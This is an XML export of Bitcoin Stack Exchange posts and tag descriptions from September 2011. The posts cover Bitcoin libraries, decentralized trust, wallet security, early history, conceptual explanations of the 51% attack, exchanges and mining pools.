  <row Id="640" PostTypeId="2" ParentId="637" CreationDate="2011-09-06T10:52:41.317" Score="1" Body="&lt;p&gt;&lt;strong&gt;As far as I know there are no Scala Bitcoin libraries currently under development.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As @ripper234 suggests, you could make do with the (canonical) &lt;a href=&quot;http://code.google.com/p/bitcoinj/&quot; rel=&quot;nofollow&quot;&gt;BitCoinJ&lt;/a&gt; library which is currently under heavy development. This approach is often the case with JVM languages, whose primary purpose is to leverage the quality of the underlying support libraries rather than reinventing the wheel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, given that Scala &lt;a href=&quot;http://www.scala-lang.org/node/168&quot; rel=&quot;nofollow&quot;&gt;now has a .Net implementation&lt;/a&gt;, then this argument becomes weaker. Therefore I would take the stance that &lt;strong&gt;there is room for a native Scala implementation&lt;/strong&gt;, just as there is one for C# (&lt;a href=&quot;http://code.google.com/p/bitcoinsharp/&quot; rel=&quot;nofollow&quot;&gt;BitCoinSharp&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although slightly off-topic &lt;a href=&quot;http://bitcointalk.org/index.php?topic=14043.0;all&quot; rel=&quot;nofollow&quot;&gt;this forum discussion of a C reference library&lt;/a&gt; (not C++/C#) brings up some interesting ideas - does it skim over a Scala library in passing.&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="117" LastEditDate="2011-09-06T11:45:27.047" LastActivityDate="2011-09-06T11:45:27.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="641" PostTypeId="1" CreationDate="2011-09-06T12:05:12.550" Score="16" ViewCount="792" Body="&lt;p&gt;Like &lt;a href=&quot;https://en.bitcoin.it/wiki/Namecoin&quot;&gt;Namecoin&lt;/a&gt; is intended to replace / augment DNS, can the Bitcoin principles / protocol be extended to support a distributed &quot;trust&quot; mechanism, in a way that no central authority will need to be trusted in order to verify public key authenticity?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This post is inspired by the &lt;a href=&quot;http://yro.slashdot.org/story/11/09/05/1752258/Rogue-SSL-Certs-Issued-For-CIA-MI6-Mossad?utm_source=feedburner&amp;amp;utm_medium=feed&amp;amp;utm_campaign=Feed%3a%20Slashdot/slashdot%20%28Slashdot%29&quot;&gt;recent hack of a Certificate Authority&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Clarification&lt;/strong&gt; - I don't mean for this technology to be integrated within the main client or blockchain, just for the underlying technology to be used.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="2306" LastEditDate="2013-04-20T07:15:37.870" LastActivityDate="2015-02-21T04:25:48.287" Title="Can Bitcoin technology be leveraged to implement a decentralized trust system (i.e. a replacement to SSL)?" Tags="|alternatives|trust|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="642" PostTypeId="2" ParentId="641" CreationDate="2011-09-06T14:25:09.803" Score="5" Body="&lt;p&gt;While it's certainly possible to implement a script to handle trust the way NameCoin handles DNS-like transactions there are a few possible &quot;weak links&quot; in such a system. First, since an individual can't usually be known the trust could only be tied to individual addresses, which would encourage the re-use of addresses and thus decrease the anonymity of the network as a whole since merchants would want to find ways to get around generating a new address for each transaction in order to maximize their trust rating. The only alternative is to implement a system of binding multiple addresses into one trusted &quot;account&quot; which would further compromise anonymity by making it known precisely who owns which addresses thereby tying at least one side of most Bitcoin transactions to a real person.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, it's possible but it kills the pseudonymous nature of the network and makes transactions far too traceable to real identities. It could be implemented, but given the private (and disruptive) nature of most Bitcoin proponents it's unlikely that it will be. An external &quot;Web of Trust&quot; type system carries adequate benefits without compromising Bitcoin itself and in fact, there has been a great deal of discussion on &lt;a href=&quot;http://bitcoinweekly.com/articles/webs-of-trust-and-how-to-decentralize-them&quot;&gt;how to decentralize them&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-09-06T14:25:09.803" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="643" PostTypeId="2" ParentId="517" CreationDate="2011-09-06T14:43:26.060" Score="3" Body="&lt;p&gt;While certainly not as advanced as nealmcb's writeup of homomorphic encryption, a solution offering a reasonable level of security against &quot;rubber-hose access&quot; could be built via a combination of &lt;a href=&quot;http://www.tribbleagency.com/?p=8178&quot; rel=&quot;nofollow&quot;&gt;cold storage&lt;/a&gt;, &lt;a href=&quot;https://raw.github.com/gist/39158239e36f6af69d6f/7e1e4fd29c420953173b705d15057aa9cedb036a/multisig.txt&quot; rel=&quot;nofollow&quot;&gt;M of N signing&lt;/a&gt; and &lt;a href=&quot;http://www.hackerscorner.org/wp-content/uploads/2011/04/tommaso1.pdf&quot; rel=&quot;nofollow&quot;&gt;plausible deniability&lt;/a&gt; passwords.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, you keep most of your bitcoins in one or more offline wallets which are kept in a physical format at a secure location - in order to compromise those coins/wallets you would have to be coerced into physically travelling to that location which is much riskier to the thief than simply beating a password out of you. Second, if there were three &quot;signers&quot; on the main account and two of them were required to make a transfer, beating the passwords out of at least two of them is twice as hard as beating the passwords out of just one, especially if they are geographically distant. Finally, it would be a simple matter for many existing sites to make username/password combinations their unique constraint rather than just username. This would effectively allow users to create one or more &quot;dummy&quot; accounts that could be compromised without compromising their entire balance. Since they all share the same username it would be difficult to prove how many accounts someone had without a full compromise of the site itself, hence providing at least some level of plausible deniability.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-09-06T14:43:26.060" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="644" PostTypeId="5" CreationDate="2011-09-06T15:56:53.193" Score="0" Body="&lt;p&gt;DO NOT USE. Removed as part of the &lt;a href=&quot;http://meta.bitcoin.stackexchange.com/q/513/5406&quot;&gt;Weeding out bad Tags Initiative 2014&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="5406" LastEditDate="2014-04-03T09:07:10.903" LastActivityDate="2014-04-03T09:07:10.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="645" PostTypeId="4" CreationDate="2011-09-06T15:56:53.193" Score="0" Body="DO NOT USE. Removed as part of the &quot;Weeding out bad Tags Initiative 2014&quot;. See link in Tag Wiki for more information." OwnerUserId="22" LastEditorUserId="5406" LastEditDate="2014-04-03T09:07:10.903" LastActivityDate="2014-04-03T09:07:10.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="646" PostTypeId="5" CreationDate="2011-09-06T15:57:28.870" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-06T15:57:28.870" LastActivityDate="2011-09-06T15:57:28.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="647" PostTypeId="4" CreationDate="2011-09-06T15:57:28.870" Score="0" Body="Questions about the profitability of a particular Bitcoin-related action, typically mining." OwnerUserId="22" LastEditorUserId="22" LastEditDate="2011-09-06T16:03:09.273" LastActivityDate="2011-09-06T16:03:09.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="648" PostTypeId="5" CreationDate="2011-09-06T15:58:18.933" Score="0" Body="&lt;p&gt;Cryptocurrencies can be traded for other cryptocurrencies and fiat currencies. These trade typically happen on exchanges or in OTC trades.&lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="48884" LastEditDate="2017-10-20T23:19:26.853" LastActivityDate="2017-10-20T23:19:26.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="649" PostTypeId="4" CreationDate="2011-09-06T15:58:18.933" Score="0" Body="The buying, selling or exchanging of Bitcoins or other cryptocurrencies for other currencies or commodities." OwnerUserId="22" LastEditorUserId="13866" LastEditDate="2023-05-11T14:12:41.883" LastActivityDate="2023-05-11T14:12:41.883" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="650" PostTypeId="5" CreationDate="2011-09-06T16:02:13.777" Score="0" Body="&lt;p&gt;Script is used to define how funds may be spent. A script consists of two parts. In a transaction output funds are assigned to a locking script, the &lt;code&gt;scriptPubKey&lt;/code&gt;. The corresponding transaction input provides a method for initializing a stack as input to the &lt;code&gt;scriptPubKey&lt;/code&gt;, the &lt;code&gt;scriptSig&lt;/code&gt;. In segwit output types, the witness encodes the stack directly. The set of commands in Script are referred to as &amp;quot;opcodes&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;There are a number of standard scripts and scripts which are defined by an address. These include Pay-to-Public-Key-Hash, Pay-to-Script-Hash, Pay-to-Witness-Public-key-hash, and Pay-to-Witness-Script-Hash.&lt;/p&gt;&#xA;&lt;p&gt;This tag should be used for questions regarding scripts and opcodes used in transactions.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="5406" LastEditDate="2021-06-14T21:02:39.127" LastActivityDate="2021-06-14T21:02:39.127" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="651" PostTypeId="4" CreationDate="2011-09-06T16:02:13.777" Score="0" Body="A simple, stack-based, Forth-like programming language using &quot;opcodes&quot; to express spending conditions." OwnerUserId="22" LastEditorUserId="5406" LastEditDate="2021-06-14T20:35:24.427" LastActivityDate="2021-06-14T20:35:24.427" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="652" PostTypeId="5" CreationDate="2011-09-06T16:21:45.060" Score="0" Body="&lt;p&gt;Legal issues relating to the use of Bitcoins or similar crypto-currencies. This includes issues of legal compliance with legal areas such as taxation, money laundering, international currency controls, and so on.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Not for legal advice&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This tag is border-line off-topic, as Bitcoin Stack Exchange is about crypto-currencies and not about legal advice. However, it is useful for questions about general legal trends that concern a broad range of the community, and where it might not be as important that the answers are actually water-tight. Examples for such questions include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/131/5406&quot;&gt;What is the current legal status of Bitcoin around the world?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/3444/5406&quot;&gt;Has any illegal data been saved in the Block Chain?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/3760/5406&quot;&gt;Is Bitcoin a currency?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This tag should not be used to ask specific legal counsel concerning your personal situation.&lt;/strong&gt; Don't ask here, if you need definitive legal advice, &lt;strong&gt;hire a lawyer&lt;/strong&gt; instead. You might find the following two questions helpful concerning that.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/13172/where-to-find-a-list-of-bitcoin-attorneys&quot;&gt;Where to find a list of Bitcoin attorneys?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10771/bitcoin-knowledgeable-attorneys&quot;&gt;bitcoin knowledgeable attorneys?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The discussion about this tag can be found at &lt;a href=&quot;https://bitcoin.meta.stackexchange.com/questions/180/how-do-we-handle-legal-advice-questions-on-legality&quot;&gt;How do we handle legal advice / questions on legality?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="38028" LastEditorUserId="42185" LastEditDate="2018-10-31T16:12:08.497" LastActivityDate="2018-10-31T16:12:08.497" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="653" PostTypeId="4" CreationDate="2011-09-06T16:21:45.060" Score="0" Body="Legal issues relating to the use of Bitcoins or similar crypto-currencies. This includes issues of legal compliance with legal areas such as taxation, money laundering, international currency controls, and so on. Please do not ask for legal advice." OwnerUserId="85" LastEditorUserId="5406" LastEditDate="2014-03-26T09:29:55.310" LastActivityDate="2014-03-26T09:29:55.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="654" PostTypeId="5" CreationDate="2011-09-06T16:23:21.907" Score="0" Body="&lt;p&gt;Security in Bitcoin encompasses many topics. These include wallet encryption, ECDSA, signing and encryption algorithms used elsewhere, etc.&lt;/p&gt;&#xA;" OwnerUserId="132919" LastEditorUserId="63872" LastEditDate="2022-03-20T01:38:51.893" LastActivityDate="2022-03-20T01:38:51.893" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="655" PostTypeId="4" CreationDate="2011-09-06T16:23:21.907" Score="0" Body="Security issues with the design or implementation of Bitcoin." OwnerUserId="85" LastEditorUserId="13866" LastEditDate="2023-05-11T13:40:41.603" LastActivityDate="2023-05-11T13:40:41.603" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="656" PostTypeId="5" CreationDate="2011-09-06T16:24:54.137" Score="0" Body="&lt;p&gt;The network protocol are the set of rules and messages that all Bitcoin nodes must follow in order to be able to connect to and communicate with each other. Details about how the Peer-to-Peer network protocol works can be found &lt;a href=&quot;https://bitcoin.org/en/developer-reference#p2p-network&quot; rel=&quot;nofollow noreferrer&quot;&gt;on bitcoin.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The consensus protocol is the set of rules and procedures that a node must follow in order for it to accept the same blocks and transactions as all other nodes on the network.&lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="48884" LastEditDate="2017-10-20T19:48:25.870" LastActivityDate="2017-10-20T19:48:25.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="657" PostTypeId="4" CreationDate="2011-09-06T16:24:54.137" Score="0" Body="This tag should be used for questions relating to the protocols by which cryptocurrencies are transferred. This includes the network protocol and consensus rules." OwnerUserId="85" LastEditorUserId="48884" LastEditDate="2017-10-20T19:48:25.870" LastActivityDate="2017-10-20T19:48:25.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="658" PostTypeId="1" AcceptedAnswerId="662" CreationDate="2011-09-06T17:45:51.553" Score="150" ViewCount="55550" Body="&lt;p&gt;Suppose organization X has 51% of the hash power for a period of 1 week. In this week, what exactly can and can't X do?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2016-01-21T10:13:49.487" LastActivityDate="2023-04-27T14:05:27.703" Title="What can an attacker with 51% of hash power do?" Tags="|security|majority-attack|" AnswerCount="8" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="659" PostTypeId="1" AcceptedAnswerId="661" CreationDate="2011-09-06T18:09:27.973" Score="26" ViewCount="9252" Body="&lt;p&gt;Exactly when was the first block mined and the first bitcoins generated? How many people knew about the project at this point? Had the project been publicly announced before the first block was mined or did that happen afterwards? Is there anything special about this first block or could anyone have mined it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize that there are a number of questions included here but I don't think that it makes sense to ask them separately.&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2012-01-09T17:10:34.467" Title="When and how did Bitcoin start?" Tags="|blockchain|satoshi-nakamoto|protocol|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="660" PostTypeId="2" ParentId="658" CreationDate="2011-09-06T18:19:06.830" Score="35" Body="&lt;p&gt;In theory, this attacker owns enough computing power that they could execute a &quot;double spend&quot; attack. They could spend coins in one place, allow the coins to enter the block chain as normal until the required confirmations are met, then fire up their 51% of the miners to craft a fraudulent fork of the block chain in which those coins were never spent, allowing them to re-spend the coins. This could theoretically be repeated for as long as the attacker maintained control of 51% or more of the hashrate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Realistically, 51% is only the point at which this becomes &lt;em&gt;possible&lt;/em&gt; not the point at which it becomes &lt;em&gt;likely&lt;/em&gt; or &lt;em&gt;easy&lt;/em&gt;. An attacker would probably need something like 65% to actually execute such an attack.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-09-06T18:19:06.830" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="661" PostTypeId="2" ParentId="659" CreationDate="2011-09-06T18:45:57.833" Score="14" Body="&lt;p&gt;&lt;a href=&quot;http://bitcoin.org/bitcoin.pdf&quot; rel=&quot;noreferrer&quot;&gt;Bitcoin's design paper&lt;/a&gt; was published &lt;a href=&quot;http://www.mail-archive.com/cryptography@metzdowd.com/msg09959.html&quot; rel=&quot;noreferrer&quot;&gt;on cryptography@metzdowd.com&lt;/a&gt; on October 31, 2008, which is considered by most to be the official beginning of the project. On January 3, 2009 at 18:15:05 GMT the Genesis block was established. Six days later, Bitcoin 0.1 was released and &lt;a href=&quot;http://www.mail-archive.com/cryptography@metzdowd.com/msg10142.html&quot; rel=&quot;noreferrer&quot;&gt;announced on the Cryptography Mailing List&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is hard to estimate the size of the community at any point, especially historically, but there is a decent timeline of the major events in Bitcoin history at the &lt;a href=&quot;https://en.bitcoin.it/wiki/History&quot; rel=&quot;noreferrer&quot;&gt;official wiki&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="78" LastEditDate="2012-01-09T17:10:34.467" LastActivityDate="2012-01-09T17:10:34.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="662" PostTypeId="2" ParentId="658" CreationDate="2011-09-06T18:54:13.747" Score="104" Body="&lt;p&gt;Actually, it's very easy to do damage to the network once you have 51%; just build your own chain faster than the network, and broadcast it whenever you like. If you send some of your coins to a new address in your own chain, all the transactions issued in the live network by spending those same coins will be reversed at the moment the longer chain is broadcast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right from the &lt;a href=&quot;https://en.bitcoin.it/wiki/Weaknesses#Attacker_has_a_lot_of_computing_power&quot;&gt;bitcoin wiki&lt;/a&gt; (probably proof-read by many pairs of eyes) :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;An attacker that controls more than 50% of the network's computing&#xA;  power can, for the time that he is in control, exclude and modify the&#xA;  ordering of transactions. This allows him to:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Reverse transactions that he sends while he's in control&lt;/li&gt;&#xA;  &lt;li&gt;Prevent some or all transactions from gaining any confirmations&lt;/li&gt;&#xA;  &lt;li&gt;Prevent some or all other generators from getting any generations &lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;The attacker can't:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Reverse other people's transactions&lt;/li&gt;&#xA;  &lt;li&gt;Prevent transactions from being sent at all (they'll show as 0/unconfirmed)&lt;/li&gt;&#xA;  &lt;li&gt;Change the number of coins generated per block&lt;/li&gt;&#xA;  &lt;li&gt;Create coins out of thin air&lt;/li&gt;&#xA;  &lt;li&gt;Send coins that never belonged to him &lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;It's much more difficult to change historical blocks, and it becomes&#xA;  exponentially more difficult the further back you go. As above,&#xA;  changing historical blocks only allows you to exclude and change the&#xA;  ordering of transactions. It's impossible to change blocks created&#xA;  before the last checkpoint.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Since this attack doesn't permit all that much power over the network,&#xA;  it is expected that no one will attempt it. A profit-seeking person&#xA;  will always gain more by just following the rules, and even someone&#xA;  trying to destroy the system will probably find other attacks more&#xA;  attractive. However, if this attack is successfully executed, it will&#xA;  be difficult or impossible to &quot;untangle&quot; the mess created — any&#xA;  changes the attacker makes might become permanent.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="132" LastEditorUserId="132" LastEditDate="2011-09-06T19:17:38.640" LastActivityDate="2011-09-06T19:17:38.640" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="663" PostTypeId="2" ParentId="639" CreationDate="2011-09-06T19:59:49.080" Score="7" Body="&lt;p&gt;For smaller amounts you could buy bitcoins from another who holds ILS on BitMarket.eu.  &lt;a href=&quot;http://bitmarket.eu/market/ILS&quot; rel=&quot;nofollow&quot;&gt;http://bitmarket.eu/market/ILS&lt;/a&gt; or over the counter on the #bitcoin-otc marketplace: &lt;a href=&quot;http://www.bitcoin-otc.com&quot; rel=&quot;nofollow&quot;&gt;http://www.bitcoin-otc.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TradeHill had been planning on adding ILS, but there was a setback:&#xA; - &lt;a href=&quot;http://bitcointalk.org/index.php?topic=19537.msg366806#msg366806&quot; rel=&quot;nofollow&quot;&gt;http://bitcointalk.org/index.php?topic=19537.msg366806#msg366806&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For larger amounts, having your bank send USD funds via an International bank wire to an exchange would likely the cheapest and fastest method even though the fees to do so are sizable.&#xA; - &lt;a href=&quot;http://en.bitcoin.it/wiki/Buying_bitcoins&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Buying_bitcoins&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2011-09-06T19:59:49.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="664" PostTypeId="2" ParentId="517" CreationDate="2011-09-06T22:06:55.623" Score="2" Body="&lt;p&gt;I wish I could give you a more helpful answer, but the truth is that this is a very hard problem. Part of the solution is to separate your Bitcoins into a &quot;working stash&quot; and a &quot;storage unit&quot;. Bitcoins in the working stash are easy to access and can be manipulated fully automatically. Bitcoins in the storage unit require manual intervention to release. YOu keep the working stash as small as practical to reduce the risk of a compromise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a very large number of Bitcoins, you may need multiple levels of storage with different levels of security/inconvenience. The goal is to lock up as many Bitcoins as possible as tightly as possible because you only very rarely need them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, the ultimate &quot;storage unit&quot; should be offline. When you need to get Bitcoins out of the vault, you create a transaction to take that number of Bitcoins out of the vault and transfer them to the working stash, returning the change to the vault. You then walk that transaction to the storage machine which signs it. You then walk the signed transaction back to the online machine that commits it to the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is that the offline storage machine's sole purpose is to sign transactions. Everything else is done by other machines. (Make sure it displays the amount and destinations before it asks you to sign!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This just presents the problem of how you secure the offline storage signing machine and what you do if it breaks. The latter problem is the easier one -- you can lock a paper copy of the master encryption key in a vault.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-06T22:06:55.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="665" PostTypeId="5" CreationDate="2011-09-06T22:20:48.487" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-06T22:20:48.487" LastActivityDate="2011-09-06T22:20:48.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="666" PostTypeId="4" CreationDate="2011-09-06T22:20:48.487" Score="0" Body="Questions regarding how much information is revealed through crypto-currency transactions or related issues about minimizing or analyzing transactions to identify their sources and other properties." OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-06T22:31:11.330" LastActivityDate="2011-09-06T22:31:11.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="667" PostTypeId="5" CreationDate="2011-09-06T22:24:35.063" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-06T22:24:35.063" LastActivityDate="2011-09-06T22:24:35.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="668" PostTypeId="4" CreationDate="2011-09-06T22:24:35.063" Score="0" Body="Encryption is the process of encoding information into a ciphertext that only authorized parties can decode. Encryption isn't used in the Bitcoin protocol itself, however it can be used e.g. for encrypting wallet backups or peer-to-peer communications." OwnerUserId="85" LastEditorUserId="121614" LastEditDate="2023-12-04T04:05:45.887" LastActivityDate="2023-12-04T04:05:45.887" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="669" PostTypeId="5" CreationDate="2011-09-06T22:25:35.810" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-06T22:25:35.810" LastActivityDate="2011-09-06T22:25:35.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="670" PostTypeId="4" CreationDate="2011-09-06T22:25:35.810" Score="0" Body="Questions relating to how particular transactions can be undone or replaced." OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-06T22:31:23.280" LastActivityDate="2011-09-06T22:31:23.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="671" PostTypeId="5" CreationDate="2011-09-06T22:26:35.263" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-06T22:26:35.263" LastActivityDate="2011-09-06T22:26:35.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="672" PostTypeId="4" CreationDate="2011-09-06T22:26:35.263" Score="0" Body="The computer operating system named Linux is used by many for mining and transferring Bitcoins." OwnerUserId="85" LastEditorUserId="13866" LastEditDate="2023-05-11T14:50:54.183" LastActivityDate="2023-05-11T14:50:54.183" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="673" PostTypeId="5" CreationDate="2011-09-06T22:28:13.293" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-06T22:28:13.293" LastActivityDate="2011-09-06T22:28:13.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="674" PostTypeId="4" CreationDate="2011-09-06T22:28:13.293" Score="0" Body="'Hoarding' refers to holding onto a currency, generally in the hope that it will increase in value, as opposed to using the currency primarily as a means of exchange. Hoarding is a form of speculating." OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-06T22:31:39.533" LastActivityDate="2011-09-06T22:31:39.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="675" PostTypeId="5" CreationDate="2011-09-06T22:29:51.187" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-06T22:29:51.187" LastActivityDate="2011-09-06T22:29:51.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="676" PostTypeId="4" CreationDate="2011-09-06T22:29:51.187" Score="0" Body="'Speculation' refers to transactions such as buying or selling crypto-currencies, or their derivatives, in the hope that future changes in market conditions will net the speculator a profit." OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-06T22:31:49.003" LastActivityDate="2011-09-06T22:31:49.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="677" PostTypeId="5" CreationDate="2011-09-06T22:34:34.347" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-06T22:34:34.347" LastActivityDate="2011-09-06T22:34:34.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="678" PostTypeId="4" CreationDate="2011-09-06T22:34:34.347" Score="0" Body="Questions about the supply side of crypto-currencies including the rate and mechanisms by which coins are made available or unavailable in the economy and the affect of the money supply on the value and usefulness of currencies." OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-06T22:40:54.403" LastActivityDate="2011-09-06T22:40:54.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="679" PostTypeId="5" CreationDate="2011-09-06T22:36:25.660" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-06T22:36:25.660" LastActivityDate="2011-09-06T22:36:25.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="680" PostTypeId="4" CreationDate="2011-09-06T22:36:25.660" Score="0" Body="The block header is a portion of each block in the block chain that identifies the basic parameters of that particular block such as the block version, the time it was generated, the hash of the previous block, and the hash of the transactions in that block." OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-06T22:41:00.143" LastActivityDate="2011-09-06T22:41:00.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="681" PostTypeId="5" CreationDate="2011-09-06T22:37:10.220" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-06T22:37:10.220" LastActivityDate="2011-09-06T22:37:10.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="682" PostTypeId="4" CreationDate="2011-09-06T22:37:10.220" Score="0" Body="Questions about investing in crypto-currencies or the effect of investing on the value or usefulness of crypo-currencies." OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-06T22:41:02.123" LastActivityDate="2011-09-06T22:41:02.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="683" PostTypeId="2" ParentId="594" CreationDate="2011-09-06T23:11:15.223" Score="3" Body="&lt;p&gt;The rule of thumb I recommend is to solo mine when you have enough hash power to generate at least one block per day on average and use a pool if you have less than that.  You can expect the pool to take between 1 and 3% for their service, but that's a better alternative to the prospect of being unlucky and not getting a block before the next difficulty retarget.&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2011-09-06T23:11:15.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
